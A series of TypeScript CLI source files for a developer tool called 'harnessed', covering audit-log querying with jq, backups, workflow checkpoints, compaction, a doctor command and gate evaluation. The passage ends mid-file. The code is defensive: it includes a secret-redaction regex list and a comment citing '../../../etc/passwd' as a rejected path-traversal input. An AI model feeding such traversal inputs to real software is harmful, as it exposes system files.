Phase 5.1 W1 T1.1 — R10.1 audit log --filter consumer (registerAuditLog).\n// D-01: jq subprocess spawn (shell:false, argv-mode, STRIDE T mitigation).\n// D-02: dual format — default human table 5-col + --json full 12-field opt-in.\n// D-03: pagination: --tail N (default 50) + --head N + --reverse.\n// D-04: consumer 2nd-layer redact 5 patterns (defense-in-depth, CSO gate).\n// Sister: src/cli/doctor.ts register + ExitError + flag validation pattern.\n// Karpathy hard limit ≤200L.\n\nimport { spawn } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport type { Command } from 'commander'\nimport type { AuditRecord } from '../audit/log.js'\nimport { t } from '../i18n/index.js'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\n\n// v3.0.3 — homedir-rooted via harnessedRoot SoT (sister src/audit/log.ts).\nfunction auditPath(): string {\n  return harnessedFile('audit.log')\n}\n\n// D-04: pre-compile at module load (NOT inside loop per PLAN sneak-block).\n// Apply to task_excerpt field only (other fields are structured IDs/enums/timestamps).\n// Pipeline order: paginate → redact → jq → render (redact LAST per RESEARCH § 2.2).\nconst REDACT_PATTERNS: Array<[RegExp, string]> = [\n  [/api[_-]?key\\s*[:=]\\s*\\S+/gi, 'api_key=[REDACTED]'],\n  [/\\btoken\\s*[:=]\\s*\\S+/gi, 'token=[REDACTED]'],\n  [/\\bpassword\\s*[:=]\\s*\\S+/gi, 'password=[REDACTED]'],\n  [/Authorization:\\s*Bearer\\s+\\S+/gi, 'Authorization: Bearer [REDACTED]'],\n  [/\\b(sk-|pk-|gh_|ghp_|ya29\\.|AIza)[A-Za-z0-9_\\-.]{4,}/g, '[REDACTED]'],\n]\n\nfunction redact(s: string): string {\n  return REDACT_PATTERNS.reduce((acc, [re, rep]) => acc.replace(re, rep), s)\n}\n\nfunction redactRecord(r: AuditRecord): AuditRecord {\n  return { ...r, task_excerpt: redact(r.task_excerpt) }\n}\n\nfunction renderHumanTable(records: AuditRecord[]): void {\n  // 5-col: ts(19) | phase(6) | category(11) | matched_rule_id(20) | outcome\n  const header = `${'ts'.padEnd(19)} | ${'phase'.padEnd(6)} | ${'category'.padEnd(11)} | ${'matched_rule_id'.padEnd(20)} | outcome`\n  const sep = `${'-'.repeat(19)}-+-${'-'.repeat(6)}-+-${'-'.repeat(11)}-+-${'-'.repeat(20)}-+--------`\n  console.log(header)\n  console.log(sep)\n  for (const r of records) {\n    const ts = r.ts.slice(0, 19)\n    const phase = r.phase.padEnd(6)\n    const cat = r.category.padEnd(11)\n    const rule = (r.matched_rule_id ?? 'null').padEnd(20)\n    console.log(`${ts} | ${phase} | ${cat} | ${rule} | ${r.outcome}`)\n  }\n}\n\nfunction pipeToJq(filterExpr: string, lines: string[]): Promise<number> {\n  return new Promise((resolve, reject) => {\n    // D-01: spawn with shell:false (default) — argv-mode immune to shell injection (STRIDE T).\n    const child = spawn('jq', [filterExpr], {\n      stdio: ['pipe', 'inherit', 'inherit'],\n      windowsHide: true,\n    })\n    // Handle jq absent (ENOENT) — actionable error per doctor.ts jq check pattern.\n    child.on('error', (err) => {\n      const e = err as NodeJS.ErrnoException\n      if (e.code === 'ENOENT') {\n        console.error(t('audit_log.jq_missing'))\n        resolve(1)\n      } else {\n        reject(err)\n      }\n    })\n    child.on('close', (code) => resolve(code ?? 0))\n    child.stdin.write(lines.join('\\n'))\n    child.stdin.end()\n  })\n}\n\nexport function registerAuditLog(program: Command): void {\n  program\n    .command('audit-log')\n    .description(\n      'Query routing audit log (<harnessed-root>/audit.log) with optional jq filter (R10.1)',\n    )\n    .option('--filter <expr>', 'jq filter expression (e.g. \\'.category==\"engineering\"\\')')\n    .option('--tail <n>', 'show N most recent records (default 50)', '50')\n    .option('--head <n>', 'show N oldest records (--head takes priority over --tail)')\n    .option('--reverse', 'flip output order')\n    .option('--json', 'output full 12-field JSON instead of human table')\n    .action(\n      async (opts: {\n        filter?: string\n        tail?: string\n        head?: string\n        reverse?: boolean\n        json?: boolean\n      }) => {\n        // H1 gate: validate pagination flags before any I/O (sister doctor.ts pattern).\n        const tailN = opts.tail !== undefined ? Number(opts.tail) : 50\n        if (Number.isNaN(tailN) || tailN < 1) {\n          console.error(t('audit_log.tail_invalid'))\n          process.exit(2)\n        }\n        const headN = opts.head !== undefined ? Number(opts.head) : undefined\n        if (headN !== undefined && (Number.isNaN(headN) || headN < 1)) {\n          console.error(t('audit_log.head_invalid'))\n          process.exit(2)\n        }\n\n        // Read audit.log — SoT-derived path (STRIDE T: no derivation from user input).\n        const path = auditPath()\n        if (!existsSync(path)) {\n          console.log(t('audit_log.no_records_file', { path }))\n          process.exit(0)\n        }\n\n        const raw = readFileSync(path, 'utf8')\n        const lines = raw\n          .split('\\n')\n          .map((l) => l.trim())\n          .filter((l) => l.length > 0)\n\n        if (lines.length === 0) {\n          console.log(t('audit_log.no_records_empty'))\n          process.exit(0)\n        }\n\n        // Parse records; skip malformed lines silently.\n        let records: AuditRecord[] = []\n        for (const line of lines) {\n          try {\n            records.push(JSON.parse(line) as AuditRecord)\n          } catch {\n            // skip malformed line\n          }\n        }\n\n        // D-03: pagination — --head takes priority over --tail per PLAN must_haves.\n        if (headN !== undefined) {\n          records = records.slice(0, headN)\n        } else {\n          records = records.slice(-tailN)\n        }\n\n        // D-03: --reverse flips output order.\n        if (opts.reverse) records = records.reverse()\n\n        // D-04: redact task_excerpt BEFORE any output (apply last in pipeline per RESEARCH § 2.2).\n        records = records.map(redactRecord)\n\n        // D-01: --filter → pipe redacted JSONL through jq subprocess.\n        if (opts.filter) {\n          // jq absent → actionable error (sister doctor.ts jq check pattern).\n          const redactedLines = records.map((r) => JSON.stringify(r))\n          const exitCode = await pipeToJq(opts.filter, redactedLines)\n          process.exit(exitCode)\n        }\n\n        // D-02: output format.\n        if (opts.json) {\n          for (const r of records) {\n            console.log(JSON.stringify(r, null, 2))\n          }\n        } else {\n          renderHumanTable(records)\n        }\n\n        process.exit(0)\n      },\n    )\n}\n","// Phase 1.2 cli subcommand `backup list` per ADR 0004 § 3.\n//\n// Lists all backup snapshots under .harnessed-backup/<timestamp>/metadata.json\n// with installer / manifest / timestamp / file-count summary. Sister to\n// gc.ts (which deletes old snapshots) and rollback.ts (which restores from\n// a chosen timestamp).\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n  installer: string\n  manifest: string\n  timestamp: string\n  files: Array<{ target: string }>\n}\n\nexport function registerBackupList(program: Command): void {\n  const backup = program.command('backup').description('Backup snapshot operations')\n  backup\n    .command('list')\n    .description('List backup snapshots under .harnessed-backup/')\n    .action(async () => {\n      const root = getBackupRoot()\n      let dirs: string[]\n      try {\n        dirs = (await readdir(root, { withFileTypes: true }))\n          .filter((e) => e.isDirectory())\n          .map((e) => e.name)\n          .sort()\n      } catch {\n        console.log(t('backup.no_backups', { root }))\n        return\n      }\n      if (dirs.length === 0) {\n        console.log(t('backup.no_backups_empty', { root }))\n        return\n      }\n      for (const ts of dirs) {\n        try {\n          const meta = JSON.parse(\n            await readFile(join(root, ts, 'metadata.json'), 'utf8'),\n          ) as BackupMetadata\n          console.log(\n            `${ts}  ${meta.manifest}  (${meta.files.length} file${meta.files.length === 1 ? '' : 's'})`,\n          )\n        } catch {\n          console.log(`${ts}  (metadata.json missing or unreadable)`)\n        }\n      }\n      console.log(t('backup.total_snapshots', { count: dirs.length }))\n    })\n}\n","// `harnessed checkpoint` CLI — record workflow progress to the harnessed checkpoint\n// store. CC main session calls this after each sub-workflow completes.\n//\n// Single `checkpoint <action> <sub>` command; action ∈ {start, complete, fail}.\n// Reuses src/checkpoint/engineHook.ts (activatePhase / completePhase) — no direct\n// filesystem or Date access here (sister: src/cli/resume.ts lazy-import pattern).\n//\n// v5.0 Spec 1 (ADR-0033 / STATE-MACHINE-CORE-DESIGN.md §8) — the checkpoint CLI is\n// the sole write path for the sub-progress ledger (agents never touch state files\n// directly). It wires:\n//   start <master> --plan <json> → activate + seed ledger from the `gates` plan\n//   complete <sub> [--force]     → fail-CLOSED evidence guard + ledger mark 'done'\n//   fail <sub>                   → ledger mark 'failed'\n//\n// Semantics:\n//   start <master> --plan <json> → activatePhase(master) + seedLedger(plan)\n//                                  (D3: missing/empty --plan → empty ledger, no error)\n//   complete <sub> [--force]     → checkArtifacts(sub) evidence guard:\n//                                    missing && !force → exit 1 (fail-CLOSED), stay pending\n//                                    missing && force  → markSub done, evidence_status 'overridden'\n//                                    verified          → markSub done, evidence + 'verified'\n//                                    none_declared     → markSub done, 'none_declared'\n//                                  + completePhase(complete) terminal checkpoint, exit 0\n//   fail <sub> [--summary]       → markSub failed + completePhase w/ FAILED: prefix, exit 1.\n\nimport type { Command } from 'commander'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\n\nconst ACTIONS = ['start', 'complete', 'fail'] as const\ntype Action = (typeof ACTIONS)[number]\n\nfunction isAction(a: string): a is Action {\n  return (ACTIONS as readonly string[]).includes(a)\n}\n\n/** Mark a sub in the ledger ONLY when it was seeded. `markSub` throws when the\n *  sub is absent (D3 empty-ledger / no `--plan`); here we degrade to a no-op so a\n *  completion/fail with an unseeded ledger still records its checkpoint envelope.\n *  The ledger is an additive overlay, never a hard gate on the checkpoint write. */\nfunction markIfSeeded(\n  entries: import('../checkpoint/schema/currentWorkflow.v1.js').SubProgressEntryType[],\n  sub: string,\n  status: import('../checkpoint/ledger.js').SubStatus,\n  opts?: import('../checkpoint/ledger.js').MarkSubOpts,\n): import('../checkpoint/schema/currentWorkflow.v1.js').SubProgressEntryType[] {\n  return entries.some((e) => e.sub === sub) ? markSubImpl(entries, sub, status, opts) : entries\n}\n\n// markSub is loaded lazily at the module top once (pure fn, no I/O) so markIfSeeded\n// can call it synchronously inside the mutateSubProgress closure.\nimport { markSub as markSubImpl } from '../checkpoint/ledger.js'\n\n/** Parse the `--plan` gates JSON. Returns null on missing/empty/invalid input so\n *  the caller can degrade to an empty ledger (D3) instead of throwing. */\nasync function parsePlan(\n  raw: string | undefined,\n): Promise<import('../checkpoint/ledger.js').GatesPlan | null> {\n  if (!raw || raw.trim() === '') return null\n  let parsed: unknown\n  try {\n    parsed = JSON.parse(raw)\n  } catch {\n    return null\n  }\n  // Minimal shape guard — `fire`/`skip` arrays. seedLedger tolerates absent arrays\n  // via the local interface defaults, but we normalize here for safety.\n  // P1-1 — explicit pick of the known GatesPlan keys ONLY. The `--plan` JSON is\n  // untrusted CLI input; spreading `...(parsed as object)` would carry arbitrary\n  // attacker-controlled keys (proto/injection surface) into the persisted ledger.\n  const p = parsed as {\n    master?: unknown\n    fire?: unknown\n    skip?: unknown\n    parallelism?: unknown\n  }\n  if (!Array.isArray(p.fire) && !Array.isArray(p.skip)) return null\n  const plan: import('../checkpoint/ledger.js').GatesPlan = {\n    fire: Array.isArray(p.fire)\n      ? (p.fire as import('../checkpoint/ledger.js').GatesPlan['fire'])\n      : [],\n    skip: Array.isArray(p.skip)\n      ? (p.skip as import('../checkpoint/ledger.js').GatesPlan['skip'])\n      : [],\n  }\n  if (typeof p.master === 'string') plan.master = p.master\n  if (p.parallelism && typeof p.parallelism === 'object' && !Array.isArray(p.parallelism)) {\n    plan.parallelism = p.parallelism as import('../checkpoint/ledger.js').GatesPlan['parallelism']\n  }\n  return plan\n}\n\nexport function registerCheckpoint(program: Command): void {\n  program\n    .command('checkpoint <action> <sub>')\n    .description(\n      'Record workflow progress: start | complete | fail <sub-workflow> (writes to ~/.claude/harnessed/checkpoints/)',\n    )\n    .option('--summary <text>', 'short summary stored as the checkpoint lastTask')\n    .option('--plan <json>', 'gates plan JSON (start only) — seeds the sub-progress ledger')\n    .option(\n      '--force',\n      'complete only — override a missing-artifact evidence block (records overridden)',\n    )\n    .option(\n      '--tokens <n>',\n      'complete only — conversation token count; auto-compacts the ledger when >= the shouldCompact threshold (Phase 14)',\n    )\n    .action(\n      async (\n        action: string,\n        sub: string,\n        opts: { summary?: string; plan?: string; force?: boolean; tokens?: string },\n      ) => {\n        if (!isAction(action)) {\n          console.error(\n            `[harnessed] checkpoint: unknown action \"${action}\" — expected one of ${ACTIONS.join(', ')}`,\n          )\n          process.exit(1)\n          return\n        }\n\n        // P0-B — `sub` is a user-controlled positional that flows into\n        // activatePhase / resolveWorkflowYaml path joins (e.g. `complete\n        // ../../../etc/passwd`). Screen it before any path use. checkPathSafe\n        // throws PathTraversalError; convert to a clean exit 1 (generic message\n        // per D-08 — do not echo the input).\n        try {\n          checkPathSafe(sub)\n        } catch {\n          console.error('[harnessed] checkpoint: invalid sub name (path traversal rejected)')\n          process.exit(1)\n          return\n        }\n\n        const { activatePhase, completePhase } = await import('../checkpoint/engineHook.js')\n\n        if (action === 'start') {\n          const { checkpointPath } = await activatePhase(sub)\n          // D3 graceful degrade — seed the ledger only when a plan is supplied; a\n          // missing/empty/invalid --plan leaves an empty ledger, no error.\n          const plan = await parsePlan(opts.plan)\n          if (plan) {\n            const { seedLedger } = await import('../checkpoint/ledger.js')\n            const { mutateSubProgress } = await import('../checkpoint/state.js')\n            await mutateSubProgress(() => seedLedger(plan))\n          }\n          console.log(`[harnessed] checkpoint started: ${sub} → ${checkpointPath}`)\n          process.exit(0)\n          return\n        }\n\n        if (action === 'complete') {\n          const { checkArtifacts } = await import('../checkpoint/evidence.js')\n          const { mutateSubProgress } = await import('../checkpoint/state.js')\n          const { getPackageRoot } = await import('./lib/packagePath.js')\n\n          const result = await checkArtifacts(sub, getPackageRoot())\n          const { checkPlanningSync } = await import('../checkpoint/evidence.js')\n          const syncResult = await checkPlanningSync(process.cwd(), null)\n\n          // Fail-CLOSED (ADR-0033 D2 + Phase 12 G2): merge artifact missing set with\n          // planning sync missing set. Any missing item blocks completion unless --force.\n          // The ledger entry stays 'pending'; no done flip; exit 1.\n          const allMissing = [...result.missing, ...syncResult.missing]\n          if (allMissing.length > 0 && !opts.force) {\n            console.error(\n              `[harnessed] checkpoint complete BLOCKED: ${sub} — ${allMissing.length} item(s) missing (evidence guard + .planning/ sync, fail-closed):`,\n            )\n            for (const m of allMissing) console.error(`  - ${m}`)\n            console.error(\n              '  (re-run with --force to override and record evidence_status=overridden)',\n            )\n            process.exit(1)\n            return\n          }\n\n          // Resolve the three-state evidence posture for the ledger mark, then do a\n          // SINGLE mark. D3: if the ledger was never seeded (empty/absent --plan at\n          // start), the sub is not present → `markIfSeeded` no-ops (the checkpoint\n          // envelope below is the baseline; the ledger is an additive overlay, never\n          // a hard gate). P1-5 — `evidenceStatus` captures the ACTUAL posture written\n          // (not `result.status`, which would print 'missing' on a --force override\n          // and hide the override).\n          //   missing && force → 'overridden' (record present artifacts as evidence)\n          //   verified         → 'verified'   (record found artifacts as evidence)\n          //   none_declared    → 'none_declared' (guard had nothing to check; NOT a pass)\n          let evidenceStatus: 'overridden' | 'verified' | 'none_declared'\n          if (allMissing.length > 0 && opts.force) evidenceStatus = 'overridden'\n          else if (result.status === 'verified') evidenceStatus = 'verified'\n          else evidenceStatus = 'none_declared'\n\n          // none_declared records no evidence refs (nothing was checked); the other\n          // two postures attach the present artifacts as evidence.\n          const markOpts =\n            evidenceStatus === 'none_declared'\n              ? { evidence_status: evidenceStatus }\n              : { evidence: result.found, evidence_status: evidenceStatus }\n          await mutateSubProgress((e) => markIfSeeded(e, sub, 'done', markOpts))\n\n          // G1 — recompute scale from the post-mark ledger + working-tree size and\n          // record verify_mode on the envelope (advisory; consumed by the verify skill).\n          const { collectScaleMetrics, assessScale } = await import('../checkpoint/scale.js')\n          const { readCurrentWorkflow, writeCurrentWorkflow } = await import(\n            '../checkpoint/state.js'\n          )\n          const afterMark = await readCurrentWorkflow()\n          if (afterMark) {\n            const metrics = await collectScaleMetrics(process.cwd(), afterMark.sub_progress ?? [])\n            await writeCurrentWorkflow({ ...afterMark, verify_mode: assessScale(metrics) })\n          }\n\n          // v5.0 Spec 1 — a master chain has many subs; completing ONE sub must not\n          // flip the whole workflow to 'complete'. Reuse the post-mark ledger read\n          // above (the verify_mode write does not touch sub_progress, so afterMark's\n          // ledger is current) and use nextPending: null (all subs resolved, incl. the\n          // empty/unseeded ledger where nextPending([])===null) → transition workflow\n          // complete (legacy single-sub behavior); non-null (pending subs remain) →\n          // keep workflow active.\n          const { nextPending } = await import('../checkpoint/ledger.js')\n          const allResolved = nextPending(afterMark?.sub_progress ?? []) === null\n          await completePhase({\n            phaseId: sub,\n            status: 'complete',\n            lastTask: opts.summary ?? `phase ${sub} complete`,\n            transitionWorkflowComplete: allResolved,\n          })\n\n          // Phase 16 — auto-capture learnings: when the workflow completes\n          // (allResolved), append the final ledger's failure/loop/reject signals\n          // to the repo's .planning/LEARNINGS.md. Uses the pre-compact `afterMark`\n          // snapshot so rejected entries (which the auto-compact below would evict)\n          // are not lost. No-op for a clean ledger (D4).\n          if (allResolved && afterMark) {\n            const { captureWorkflowLearnings } = await import('../checkpoint/learnings.js')\n            const captured = await captureWorkflowLearnings(afterMark.sub_progress ?? [], sub)\n            if (captured > 0) {\n              console.log(`[harnessed] captured ${captured} learning(s) → .planning/LEARNINGS.md`)\n            }\n          }\n\n          // Phase 14 — auto-compact: when the caller passes a conversation token\n          // count that crosses the shouldCompact threshold, evict resolved ledger\n          // entries (G6-safe: fail_count>0 entries are never evicted). Silent no-op\n          // without --tokens (manual `harnessed compact` is the other path).\n          const { shouldAutoCompact, compactWorkflow } = await import('../checkpoint/compact.js')\n          if (shouldAutoCompact(opts.tokens != null ? Number(opts.tokens) : undefined)) {\n            const c = await compactWorkflow()\n            if (c.evicted > 0) {\n              console.log(\n                `[harnessed] auto-compact: evicted ${c.evicted} resolved entries (-${c.pct_saved}% tokens)`,\n              )\n            }\n          }\n\n          // Phase 22 — smart reminders: only when this completion finishes the whole\n          // chain (allResolved = a completed phase/cycle). Set AFTER auto-compact so\n          // the flags survive the compact envelope rewrite. Fail-soft (a reminder must\n          // never block a checkpoint): any error here is swallowed, no flags set.\n          if (allResolved) {\n            try {\n              const { defaultShipReady } = await import('../checkpoint/shipReady.js')\n              const { incrementPhases, isRetroDue, retroThreshold } = await import(\n                '../checkpoint/retroMeta.js'\n              )\n              const { mutateStore, readCurrentWorkflow, writeCurrentWorkflow } = await import(\n                '../checkpoint/state.js'\n              )\n              const { repoKey } = await import('../checkpoint/workflowStore.js')\n\n              const ship = defaultShipReady(process.cwd())\n              const key = repoKey()\n              const threshold = retroThreshold(process.env)\n\n              // Bump the per-repo retro counter (store sidecar; survives activate()).\n              let retroDue = false\n              await mutateStore((store) => {\n                const meta = { ...(store.retro_meta ?? {}) }\n                const next = incrementPhases(meta[key])\n                meta[key] = next\n                retroDue = isRetroDue(next.phases_since_retro, threshold)\n                return { ...store, retro_meta: meta }\n              })\n\n              // Merge the flags onto the latest envelope (read by the G4 inject twins).\n              const latest = await readCurrentWorkflow()\n              if (latest) {\n                await writeCurrentWorkflow({\n                  ...latest,\n                  ship_ready: ship.ready,\n                  ship_commits: ship.commits,\n                  retro_due: retroDue,\n                })\n              }\n            } catch {\n              // fail-soft — never let a reminder break the checkpoint\n            }\n          }\n\n          console.log(`[harnessed] checkpoint complete: ${sub} (evidence: ${evidenceStatus})`)\n          process.exit(0)\n          return\n        }\n\n        // action === 'fail' — flip the ledger entry → 'failed', record a terminal\n        // checkpoint with FAILED: prefix, signal failure via exit code (engineHook\n        // status union has no 'fail').\n        const { mutateSubProgress } = await import('../checkpoint/state.js')\n        await mutateSubProgress((e) => markIfSeeded(e, sub, 'failed'))\n        // v5.0 Spec 1 — a failed sub must NOT flip the workflow to 'complete'. The\n        // failed entry lives in the ledger; the orchestrator/user reads it and\n        // decides STOP. Workflow stays 'active'.\n        await completePhase({\n          phaseId: sub,\n          status: 'complete',\n          lastTask: `FAILED: ${opts.summary ?? ''}`,\n          transitionWorkflowComplete: false,\n        })\n        // G6 — after recording the failure, detect a fix-forget-repeat loop and\n        // surface a break-loop directive (the skill doc carries the 5-dim analysis).\n        const { readCurrentWorkflow } = await import('../checkpoint/state.js')\n        const { detectLoop, LOOP_THRESHOLD } = await import('../checkpoint/breakLoop.js')\n        const latest = await readCurrentWorkflow()\n        const loops = detectLoop(latest?.sub_progress ?? [])\n        const looped = loops.find((l) => l.sub === sub)\n        if (looped) {\n          console.error(\n            `[harnessed] BREAK-LOOP: sub '${sub}' failed ${looped.count}x (>= ${LOOP_THRESHOLD}). ` +\n              'Stop retrying — run the break-loop skill for root-cause analysis and capture the lesson to .planning/.',\n          )\n        }\n        console.error(\n          `[harnessed] checkpoint FAILED recorded: ${sub}${opts.summary ? ` — ${opts.summary}` : ''}`,\n        )\n        process.exit(1)\n      },\n    )\n}\n","// `harnessed compact` — manually evict resolved sub-progress ledger entries to\n// shrink the checkpoint state (and the per-turn injected state block). Phase 14.\n// The other trigger is auto: `checkpoint complete --tokens <n>` (see checkpoint.ts).\nimport type { Command } from 'commander'\n\nexport function registerCompact(program: Command): void {\n  program\n    .command('compact')\n    .description(\n      'Evict resolved (done/skipped/rejected, no fail_count) ledger entries; reports token reduction',\n    )\n    .action(async () => {\n      const { compactWorkflow } = await import('../checkpoint/compact.js')\n      const r = await compactWorkflow()\n      if (r.evicted === 0) {\n        console.log('[harnessed] compact: nothing to evict (all pending/failed or empty ledger)')\n        process.exit(0)\n        return\n      }\n      console.log(\n        `[harnessed] compact: phase=${r.phase} evicted=${r.evicted} ` +\n          `tokens ${r.before_tokens}->${r.after_tokens} (-${r.pct_saved}%) — ${r.digest}`,\n      )\n      process.exit(0)\n    })\n}\n","// Phase 1.2 cli subcommand `doctor` per PLAN § 4.1 acceptance B8' + ASSUMPTIONS B4 候选 1 + C4.\n// v3.7.0 Phase 1 — refactored to thin dispatcher (≤100L, well within B-03 ≤225L hard limit).\n// All checks live in `src/cli/lib/check-*.ts` helper files; CHECKS array is single source\n// of truth (`src/cli/lib/doctor-registry.ts`). Adding a check: see registry header.\n\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { CHECKS, type CheckResult } from './lib/doctor-registry.js'\n\nexport function registerDoctor(program: Command): void {\n  program\n    .command('doctor')\n    .description(\n      'Preflight checks (Node / MCP scope / jq / Win bash / origin URL / gstack prefix / deprecations / token budget / Agent Teams / planning-with-files / mattpocock-skills / MCP availability)',\n    )\n    .option('--json', 'output JSON instead of human-readable')\n    .action(async (opts: { json?: boolean }) => {\n      // Run all checks in parallel (no data deps between them). Order preserved\n      // for human-readable output per doctor.test.ts cell-1+4+5 expectations.\n      const results: CheckResult[] = await Promise.all(CHECKS.map((c) => c()))\n      const hasFail = results.some((r) => r.status === 'fail')\n      const hasWarn = results.some((r) => r.status === 'warn')\n      if (opts.json) {\n        console.log(\n          JSON.stringify(\n            { checks: results, summary: hasFail ? 'fail' : hasWarn ? 'warn' : 'pass' },\n            null,\n            2,\n          ),\n        )\n      } else {\n        for (const r of results) {\n          const mark = r.status === 'pass' ? '✓' : r.status === 'warn' ? '⚠' : '✗'\n          console.log(`${mark} ${r.name} — ${r.message}`)\n          if (r.status !== 'pass' && r.fix) console.log(`    fix: ${r.fix}`)\n        }\n        console.log(\n          hasFail\n            ? t('doctor.summary.fail')\n            : hasWarn\n              ? t('doctor.summary.warn')\n              : t('doctor.summary.pass'),\n        )\n      }\n      process.exit(hasFail ? 1 : 0) // B-06: warn ≠ fail (advisory only)\n    })\n}\n","// src/cli/gates.ts — `harnessed gates <master>` plan command.\n//\n// Evaluates which sub-workflows fire for a master orchestrator and prints a\n// JSON plan to stdout. NO spawning — pure gate evaluation (mirror of\n// src/workflow/masterOrchestrator.ts gate eval loop, lines 121-165) so callers\n// (slash commands / main CC session) can decide spawn order themselves.\n//\n// Fail-soft per ADR 0029: gate eval THROW → fire the sub (operational fault is\n// not a judgment to skip), emit console.warn. Parallelism eval THROW →\n// escalate_to_teams=false (conservative default).\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { parse as parseYaml } from 'yaml'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { resolveJudgmentGate } from '../workflow/judgmentResolver.js'\nimport { buildDefaultGateContext, mergeGateContext } from './lib/gateContext.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\nconst VALID_MASTERS = new Set(['auto', 'discuss', 'plan', 'task', 'verify'])\n\n// v4.1 — stage masters (recursable). `auto` is the super-master; its fired subs\n// that are themselves stage masters must be recursed (harnessed gates <sub>),\n// not prompt+spawned. research/retro are standalone leaves (not masters).\nconst STAGE_MASTERS = new Set(['discuss', 'plan', 'task', 'verify'])\n\nconst PARALLELISM_GATE = 'judgments.parallelism-gate.agent-teams-upgrade.fires'\n\ninterface RawOpts {\n  task?: string\n  skipSub?: string\n  context?: string\n}\n\ninterface DelegationClause {\n  sub: string\n  gate?: string\n  mode?: string\n  order?: number\n}\n\ninterface FireEntry {\n  sub: string\n  order?: number\n  mode?: string\n  gate?: string\n  // v4.1 — true when this sub is itself a stage master (has its own auto/workflow.yaml).\n  // The CC main session must RECURSE (harnessed gates <sub>) instead of prompt+spawn,\n  // since `harnessed prompt <master>` returns a dispatcher prompt, not leaf work.\n  is_master?: boolean\n}\n\ninterface SkipEntry {\n  sub: string\n  reason: string\n}\n\ninterface GatesPlan {\n  master: string\n  fire: FireEntry[]\n  skip: SkipEntry[]\n  parallelism: { escalate_to_teams: boolean; reason: string | null }\n}\n\nfunction resolveMasterYamlPath(master: string, packageRoot: string): string {\n  return master === 'auto'\n    ? resolve(packageRoot, 'workflows', 'auto', 'workflow.yaml')\n    : resolve(packageRoot, 'workflows', master, 'auto', 'workflow.yaml')\n}\n\nexport function registerGates(program: Command): void {\n  program\n    .command('gates')\n    .description(\n      'Evaluate which sub-workflows fire for a master orchestrator (JSON plan, no spawn).',\n    )\n    .argument('<master>', 'master name: auto | discuss | plan | task | verify')\n    .option('--task <text>', 'task description (injected as gateContext.task)')\n    .option('--skip-sub <names>', 'comma-separated sub names to skip without gate eval')\n    .option('--context <json>', 'JSON object merged over the default gate context')\n    .action(async (master: string, raw: RawOpts) => {\n      if (!VALID_MASTERS.has(master)) {\n        console.error(\n          `error: unknown master '${master}'. Expected one of: auto, discuss, plan, task, verify.`,\n        )\n        process.exit(1)\n        return\n      }\n\n      // P0-B — defense-in-depth: `master` feeds resolveMasterYamlPath path joins.\n      // VALID_MASTERS already whitelists it, but guard for consistency with the\n      // other CLI entry points.\n      try {\n        checkPathSafe(master)\n      } catch {\n        console.error('error: invalid master name (path traversal rejected)')\n        process.exit(1)\n        return\n      }\n\n      const packageRoot = getPackageRoot()\n      const yamlPath = resolveMasterYamlPath(master, packageRoot)\n\n      let raw_yaml: string\n      try {\n        raw_yaml = await readFile(yamlPath, 'utf8')\n      } catch (err) {\n        console.error(\n          `error: failed to read master workflow.yaml at ${yamlPath} — ${(err as Error).message}`,\n        )\n        process.exit(1)\n        return\n      }\n\n      let parsed: unknown\n      try {\n        parsed = parseYaml(raw_yaml)\n      } catch (err) {\n        console.error(`error: failed to parse ${yamlPath} — ${(err as Error).message}`)\n        process.exit(1)\n        return\n      }\n\n      const delegates = (parsed as { delegates_to?: unknown })?.delegates_to\n      if (!Array.isArray(delegates) || delegates.length === 0) {\n        console.error(`error: master '${master}' workflow.yaml missing delegates_to[]`)\n        process.exit(1)\n        return\n      }\n      const clauses = delegates as DelegationClause[]\n\n      const task = typeof raw.task === 'string' ? raw.task : ''\n      const stage = master\n\n      // Build gate context: shared defaults → deep-merge --context → add skip_subs.\n      let ctx = buildDefaultGateContext(task, stage)\n      if (typeof raw.context === 'string' && raw.context.length > 0) {\n        let extra: unknown\n        try {\n          extra = JSON.parse(raw.context)\n        } catch (err) {\n          console.error(`error: --context is not valid JSON — ${(err as Error).message}`)\n          process.exit(1)\n          return\n        }\n        if (extra && typeof extra === 'object' && !Array.isArray(extra)) {\n          // deep-merge so a partial {phase:{x:true}} doesn't wipe the other phase.* defaults.\n          ctx = mergeGateContext(ctx, extra as Record<string, unknown>)\n        }\n      }\n      const skipSubs = new Set(\n        typeof raw.skipSub === 'string' && raw.skipSub.length > 0\n          ? raw.skipSub\n              .split(',')\n              .map((s) => s.trim())\n              .filter((s) => s.length > 0)\n          : [],\n      )\n      ctx.skip_subs = [...skipSubs]\n\n      const fire: FireEntry[] = []\n      const skip: SkipEntry[] = []\n\n      // Gate eval loop — mirror masterOrchestrator.ts:121-165 (no spawn).\n      for (const clause of clauses) {\n        if (skipSubs.has(clause.sub)) {\n          skip.push({\n            sub: clause.sub,\n            reason: 'skipped via skip_subs (done interactively in main session)',\n          })\n          continue\n        }\n        if (!clause.gate) {\n          fire.push(fireEntry(clause, master))\n          continue\n        }\n        try {\n          const passes = await resolveJudgmentGate(clause.gate, ctx, packageRoot)\n          if (passes) {\n            fire.push(fireEntry(clause, master))\n          } else {\n            skip.push({ sub: clause.sub, reason: `gate ${clause.gate} = false` })\n          }\n        } catch (e) {\n          // ADR 0029 fail-soft — eval error is operational fault, not a judgment\n          // to skip. Fire the sub as if the gate returned true; emit warn.\n          console.warn(\n            `⚠️ master ${master} sub ${clause.sub} gate ${clause.gate} eval failed ` +\n              `(${(e as Error).message}); firing sub as if gate=true (ADR 0029 fail-soft).`,\n          )\n          fire.push(fireEntry(clause, master))\n        }\n      }\n\n      // Parallelism — agent-teams-upgrade routing gate (try/catch → conservative false).\n      let parallelism: GatesPlan['parallelism'] = { escalate_to_teams: false, reason: null }\n      try {\n        const escalate = await resolveJudgmentGate(PARALLELISM_GATE, ctx, packageRoot)\n        parallelism = escalate\n          ? { escalate_to_teams: true, reason: 'agent-teams-upgrade gate fired' }\n          : { escalate_to_teams: false, 